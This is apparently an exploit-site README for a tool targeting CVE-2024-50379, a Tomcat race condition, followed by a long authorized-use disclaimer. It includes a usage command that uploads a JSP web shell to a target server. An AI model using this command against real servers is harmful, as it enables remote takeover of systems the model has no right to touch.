Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Apache Tomcat

## https://sploitus.com/exploit?id=E1988697-A389-5DB3-B123-5F55F3D24F3A
Manual use is cumbersome; create an example script instead. 

Usage: 
`shell.jsp` is a shell file, and `ggsl.jsp` is the name/path to be saved on the target server.

`./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp`

![image-20241223151845286](assets/image-20241223151845286.png)

![image-20241223151902375](assets/image-20241223151902375.png)

# Disclaimer 

This tool is intended only for **legally authorized** enterprise security construction activities. If you need to test the availability of this tool, please set up a target environment yourself. When using this tool for testing, ensure that your actions comply with local laws and regulations, and that you have obtained sufficient authorization. **Do not scan unauthorized targets.**

If you engage in any illegal activities while using this tool, you will bear the corresponding consequences yourself. We will not assume any legal or joint liability. Before installing and using this tool, please **read and fully understand all terms carefully**. Terms such as limitations, disclaimers, or other provisions related to your significant rights may be highlighted or underlined to draw your attention. Unless you have thoroughly read, fully understood, and accepted all terms of this agreement, do not install or use this tool. Your use of this tool, or any explicit or implied acceptance of this agreement by you, constitutes your acceptance of these terms.